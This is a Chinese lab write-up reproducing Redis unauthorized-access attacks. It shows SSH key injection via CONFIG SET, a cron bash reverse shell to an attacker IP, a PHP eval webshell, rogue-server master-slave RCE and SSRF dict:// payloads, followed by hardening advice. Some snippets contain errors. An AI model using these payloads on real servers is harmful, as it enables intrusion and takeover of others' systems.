zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

漏洞复现 -- Redis漏洞总结

2023-03-15 22:07:49 时间

欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

环境搭建

安装步骤参考:Redis未授权访问漏洞的重现与利用 - FreeBuf网络安全行业门户

操作系统:ubuntu20.4

首先先选择一个合适的版本,然后下载压缩包(这里建议选择5.01,我这一开始下成3.2.11了,后面改成的5.01,所以截图不太一样)

wget http://download.redis.io/releases/redis-5.0.1.tar.gz 

解压到文件夹后,进入解压的目录redis-3.2.11,使用

make 

make完后,进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:

然后编辑etc目录下的redis.conf文件

sudo gedit /etc/redis.conf 

首先将ip绑定去掉

关闭保护模式,允许远程连接redis服务

最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:

redis-server /etc/redis.conf 

注意:还需要检测是否关闭了防火墙

查询是否开启防火墙

sudo ufw status 

显示不活动即为关闭

使用命令关闭

sudo ufw disable 

然后再安装ssh服务

dpkg -l | grep ssh //查看是否安装了ssh服务,默认只安装了ssh-client服务。
sudo apt-get install openssh-server
dpkg -l | grep ssh
ps -e | grep ssh //查看服务是否开启

环境

目标机器:

ubuntu20 192.168.200.38

攻击机:

kali 192.168.200.4

win7 192.168.200.17

简介

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

无凭证ssh连接

SSH提供两种登录验证方式,一种是口令验证,另一种是密钥验证。

口令认证也就是账号密码认证,密钥认证就是我们目标的免密码登录

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密

1.客户端生成私钥和公钥,并把公钥拷贝给服务器端;

2.客户端发起登录请求,发送自己的相关信息;

3.服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

4.客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

5.服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

先决条件

6.Redis服务使用ROOT账号启动(如果不以root权限执行,将会导致后面命令执行失败)

7.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

攻击

在攻击机本地生成公钥文件

获取rsa

ssh-keygen -t rsa

设置为无密码

需要为我们的公钥文件设置一个私钥

公钥文件默认路径:/root/.ssh/id_rsa.pub(除非生成时自己手动修改了存储地址)

查看公钥的内容

cat id_rsa.pub 

然后通过redis无密码访问目标机器

redis-cli -h 192.168.200.38 

然后我们会进入一个命令行

config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名 
set g1ts "


 公钥 


" #将公钥写入g1ts健
save #进行保存 

然后进行ssh远程连接

ssh -i /root/桌面/others/id_rsa root@192.168.200.38 

可以发现无密码直接远程连接了ubuntu

计划任务(ubuntu系统可能不能使用)

条件:

  • root启用Redis

攻击

首先先连接redis,然后清楚所有的键值

redis-cli -h 192.168.200.38 flushall 
config set dir /var/spool/cron/crontabs/  #设置保存路径(写在计划任务储存的文件夹)
config set dbfilename g1ts               #设置保存名称

然后我们就可以写入执行的命令,可以用来反弹shell,不过在那之前首先先在kali设置监听

nc -lvp 6666 

然后写入反弹语句,由于是计划任务,所以要设置时间

crontab时间格式:crontab用法与实例 | 《Linux就该这么学》 (linuxprobe.com)

set g1ts "
* * * * * * bash -i >& /dev/tcp/192.168.200.4/6666 0>&1
"
save 

然后命令就会执行

但是似乎是应为我是ubuntu系统的原因,redis创建的计划任务执行失败,查看一下日志,发现是创建的文件权限不够

系统需要600的权限(应该就是读写的权限),但是目前只有只读的文件,我查阅了资料,但是也没有发现如何创建一个600权限的计划任务,所以如果目标是ubuntu系统的话可能此方法不能够执行成功

更多问题可以参考:解决ubuntu crontab反弹shell失败的问题 · 大专栏 (dazhuanlan.com)

写入shell

先决条件:

  • root权限启动redis
  • 需要知道绝对路径
  • 具有文件读写增删改查权限
redis-cli -h 192.168.200.38     #连接Redis
config set dir /var/www/html    #设置要写入shell的路径
config set dbfilename shell.php
set g1ts "


<?php @eval($_GET("hack"))?>


"         #写入一句话木马到g1ts键
save

Redis主从复制getshell

主从模式为使用两台redis,一台为主机,一台为从机;一台负责读,一台负责写,主机和从机的数据是一模一样的,使用主从模式的原因是redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担,使用主从模式的读写分离可以缓解服务器上的流量压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞成因:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

先决条件:

  • Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
  • root权限启动redis

环境搭建

首先先设置主从模式,将kali设置为主机

redis-cli -h 192.168.200.38
slaveof 192.168.200.4 6379

攻击

首先下载恶意代码

下载地址:n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)

可以下载下来本地编译,也可以使用作者编译好的exp.so

有两种模式,一种是交互式shell,一种是反弹shell

python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so 

输入i进入交互式shell

但是在我测试的时候,使用ifconfig命令会导致shell退出,使用一些命令也会有几率导致退出

输入r进行反弹shell,在此之前需要先设置监听

nc -lvp 6666 

然后输入r进行反弹,在输入反弹的ip和端口

通过redisSSRF

先决条件:

root启用redis
目标机存在dict协议
知道网站绝对路径

假设可以导致ssr的文件为ssrf.php,我们可以使用以下命令

ssrf.php?var=dict://192.168.200.38:6379/flushall 

当然我们也可以通过设置键来写入shell,不过写入时推荐使用主从复制写入,而不采用直接写入,因为可能会写入不进去

首先先设置主从关系

设置kali为主机

ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379 

设置保存目录

ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html 

设置保存文件名称

ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php 

进入kali,写文件

redis-cli
set g1ts "


<?php phpinfo() ;?>


" 

然后再保存

ssrf.php?url=dict://192.168.200.38:6379/save 

切断主从复制

ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one 

防御措施

1.禁止监听在公网地址

将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启Redis

2.修改默认监听的端口

Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf中修改Redis的监听端口,将默认端口6379改为其他的端口

3.开启 Redis 安全认证并设置复杂的密码

为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码

4.禁止使用 root 权限启动

使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如: useradd -s /sbin/nolog -M redis sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

5.设置Redis配置文件的访问权限

因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件